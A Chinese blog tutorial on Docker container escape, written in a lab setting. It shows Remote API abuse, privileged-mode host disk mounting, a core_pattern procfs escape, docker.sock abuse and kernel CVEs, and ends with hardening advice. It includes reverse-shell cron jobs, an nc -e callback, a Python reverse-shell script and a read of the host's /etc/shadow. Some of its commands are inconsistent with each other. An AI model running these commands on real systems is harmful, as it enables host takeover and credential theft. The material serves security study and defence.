Docker逃逸

本文最后更新于 2025年7月2日 下午

docker逃逸是渗透常见面对的问题,常遇到的可能是webshell之后只是拿到docker的权限,以及多docker跳跃渗透的问题,之前遇到相关的知识,不太熟悉,简单学习一下。

判断环境

查看.dockerenv

在根目录查看,例如

1
2
3
4
5
root@42f2cc6189bc:/# ls -al
total 68
drwxr-xr-x 1 root root 4096 Apr 5 01:05 .
drwxr-xr-x 1 root root 4096 Apr 5 01:05 ..
-rwxr-xr-x 1 root root 0 Apr 5 01:05 .dockerenv

说明在docker容器里

查看cgroup

1
cat /proc/1/cgroup

用于查看容器或宿主进程所属的 cgroup

Docker Remote API未授权访问逃逸

搭建

参考
vulhub/docker/unauthorized-rce/README.zh-cn.md at master · vulhub/vulhub
访问

1
2
http://ip:2375/version
http://ip:2375/info

利用

1
2
root@dkhkp1Xe87xlKw:~# docker -H tcp://156.238.233.111:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

让目标主机拉取一个镜像

1
docker -H tcp://ip:2375 pull alpine

查看镜像

1
2
3
root@dkhkp1Xe87xlKw:~# docker -H tcp://ip:2375 images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest cea2ff433c61 4 weeks ago 8.31MB

以特权模式,启动拉取的alpine镜像

1
2
3
root@dkhkp1Xe87xlKw:~# docker -H tcp://ip:2375 run -it --privileged alpine  /bin/sh
/ # ls
bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var

查看系统磁盘分区情况,再新建一个目录,将宿主机所在磁盘挂载到新建的目录

1
2
3
4
fdisk -l
mkdir /hacker
mount /dev/sda5 /orange
ls orange/

然后写入定时任务

1
2
3
4
cd /orange
touch /orange/orange.sh
echo "bash -i >& /dev/tcp/ip/6666 0>&1" >/orange/orange.sh
echo "* * * * * root bash /orange.sh" >> /orange/etc/crontab

最后开个nc等待连接
或者直接用vulhub上面的脚本

1
2
3
4
import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

privileged特权模式逃逸

docker run --privileged 会授予容器几乎等同宿主机的全部能力,包括

  • 访问宿主 /dev 中的物理设备
  • 加载内核模块
  • 使用所有 capabilities 权限
  • 操作挂载点
  • 修改防火墙
  • 使用 chrootpivot_root 等低层命令
    因此本质就是把容器当成几乎“裸机”来跑,完全突破最小权限的隔离设计。

搭建

1
docker pull alpine
1
2
3
4
sudo useradd -m -s /bin/bash 0ran9e
sudo passwd 0ran9e
sudo usermod -aG docker 0ran9e
su - 0ran9e
1
2
 id
uid=1004(0ran9e) gid=1004(0ran9e) 组=1004(0ran9e),137(docker)

在该环境执行

1
docker run --rm --privileged=true -it alpine

利用

先判断是否为特殊环境

1
2
/ # cat /proc/self/status | grep CapEff
CapEff: 000001ffffffffff

容器是特权模式启动

法一

先查看磁盘挂载设备

1
2
3
4
5
6
7
8
9
fdisk -l
Disk /dev/sda: 50 GB, 53687091200 bytes, 104857600 sectors
205603 cylinders, 255 heads, 2 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/sda1 * 4,4,1 1023,254,2 2048 102856703 102854656 49.0G 83 Linux
/dev/sda2 1023,254,2 1023,254,2 102858750 104855551 1996802 975M f Win95 Ext'd (LBA)
/dev/sda5 1023,254,2 1023,254,2 102858752 104855551 1996800 975M 82 Linux swap

宿主机应该就是那个49g的内容

1
2
3
4
/ # mkdir /test && mount /dev/sda1 /test
/ # ls /test
bin data etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz
boot dev home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old

发现是已经挂载成功了
读取敏感信息,利用成功

1
2
 cat /test/etc/shadow |grep 0ran9e
0ran9e:$y$j9T$.317WwHmNBBHpaCsaaAby.$...................

也可以写个定时任务进行反弹shell

1
echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/192.168.71.1/7777 0>&1"' >> /test/etc/crontab
1
2
3
4
5
6
C:\Users\0raN9e>nc -lnvp 7777
listening on [any] 7777 ...
connect to [192.168.71.1] from (UNKNOWN) [192.168.71.128] 33824
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) 缁?0(root)

法二

1
2
3
4
5
/ # chroot /test
┌──(root㉿189cd425fa6e)-[/]
└─# ls
bin data etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz
boot dev home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old

方法和上面的基本一致 ,直接改根目录就可以了

挂载宿主机procfs逃逸

procfs (/proc):Linux 伪文件系统,动态暴露系统内核、进程、网络、驱动信息等。
core_pattern:位于 /proc/sys/kernel/core_pattern,控制程序崩溃时 core dump 的处理方式。若以 | 开头,后续命令会被内核以 root 权限调用,并接收崩溃程序的 dump 数据。

搭建

1
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

利用

1
2
3
root@3dd0cf5bce16:/# find / -name core_pattern
/proc/sys/kernel/core_pattern
/host/proc/sys/kernel/core_pattern

发现了两个core_pattern文件
找到当前容器在主机下的绝对路径

1
2
root@3dd0cf5bce16:/# cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
workdir=/var/lib/docker/overlay2/ea2b95b13632dfee70b101542a925cf85b7fa119c4fbb9a233fe10f3e05e20ee/work 0 0

安装vim和gcc

1
apt-get update -y && apt-get install vim gcc -y

创建一个python脚本用于反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3
import os
import pty
import socket
lhost = "192.168.71.1"
lport = 7777
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.shell.py')
s.close()
if __name__ == "__main__":
main()
1
chmod 777 /tmp/.shell.py
1
echo -e "|//var/lib/docker/overlay2/ea2b95b13632dfee70b101542a925cf85b7fa119c4fbb9a233fe10f3e05e20ee/merged/tmp/.shell.py \rcore    " >  /host/proc/sys/kernel/core_pattern

执行编译后的程序使docker崩溃触发core dump,此时宿主机/proc/sys/kernel/core_pattern 中写入的.shell.py会被执行

1
2
3
4
5
6
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
1
2
3
4
5
6
root@3dd0cf5bce16:/tmp# vi t.c
root@3dd0cf5bce16:/tmp# gcc t.c -o t
root@3dd0cf5bce16:/tmp# ls
t t.c
root@3dd0cf5bce16:/tmp# ./t
Segmentation fault (core dumped)
1
2
3
4
5
6
7
8
PS C:\Users\0raN9e> nc -lnvp 7777
listening on [any] 7777 ...
connect to [192.168.71.1] from (UNKNOWN) [192.168.71.128] 59162
root@kali:/# id
id
uid=0(root) gid=0(root) groups=0(root)

root@kali:/#

挂载docker socket逃逸

Docker 守护进程通过 Unix socket(通常 /var/run/docker.sock)暴露 API,root 身份运行。
挂载宿主的 docker.sock 进容器,意味着容器内程序可直接和宿主 Docker API 通信。
由于 Docker API 控制权相当于宿主 root,容器可随意新建特权容器或操作宿主所有容器,达到完全逃逸

搭建

1
docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
1
2
3
4
5
6
docker exec -it docker_sock /bin/bash 
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
curl -fsSL https://get.docker.com -o install-docker.sh
sh install-docker.sh --mirror Aliyun

利用

1
2
root@00b7d415a76b:/# ls -lah /var/run/docker.sock
srw-rw---- 1 root 137 0 Jul 2 04:11 /var/run/docker.sock

如果存在说明存在改漏洞

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

1
2
3
4
5
6
7
8
9
root@00b7d415a76b:/# docker run -it -v /:/host ubuntu /bin/bash
root@ec978ff73ab7:/# ls /host
bin data etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz
boot dev home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old
root@ec978ff73ab7:/# chroot /host
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

实现了逃逸

内核漏洞逃逸

容器与宿主共享同一个 Linux 内核,内核漏洞一旦被利用,就可直接突破容器沙箱限制,获得宿主内核级权限,一旦容器内能触发本地内核漏洞,便可立刻对宿主提权,完成逃逸。
通常是cve,比如
Dirty COW (CVE-2016-5195)

  • 内核写时复制缺陷
  • 容器内进程可以覆盖宿主文件系统上只读文件,提权到宿主 root
    Dirty Pipe (CVE-2022-0847)
  • 管道页缓存漏洞
  • 可在容器内直接写入任意宿主只读文件,完成提权
    OverlayFS 权限绕过 (CVE-2021-3493)
  • 文件系统挂载不正确验证
  • 覆盖宿主机敏感二进制或修改 suid 程序
    Sequoia (CVE-2021-33909)
  • 内核文件系统路径解析堆溢出
  • 容器可触发越权写,导致宿主提权
    等等,通常能直接打poc

docker逃逸的防范

权限最小化

  • 不使用 --privileged 启动容器
  • 限制 --cap-add,只授予必要 capabilities
  • 移除 CAP_SYS_ADMIN 等高危能力
  • 只在特定需求下才允许挂载宿主目录,且必须只读挂载

容器运行时隔离

  • 启用 User Namespace:容器 root 用户映射为宿主非特权 UID
  • 使用 seccomp 策略,限制系统调用
  • 启用 AppArmor / SELinux / seccomp profile 限制容器权限
  • 启用 read-only root filesystem,防止容器内随意写入

内核与守护进程安全

  • 定期更新宿主 Linux 内核,修补提权漏洞
  • 定期更新 Docker 版本
  • 不暴露 Docker API (docker.sock) 给不可信服务
  • 为 Docker Daemon 配置 TLS 认证

网络与访问控制

  • 只允许受控网络访问 Docker API
  • 配置防火墙,阻止外部恶意访问
  • 最小化可达的容器端口暴露

使用沙箱或替代运行时

  • 引入 gVisor、Kata Containers 等轻量虚拟化技术,提供更强的内核隔离
  • 利用 rootless Docker(Docker daemon 以非 root 身份运行)

Docker逃逸
https://0ran9ewww.github.io/2025/07/02/学习文章/Docker 逃逸/
作者
orange
发布于
2025年7月2日
更新于
2025年7月2日
许可协议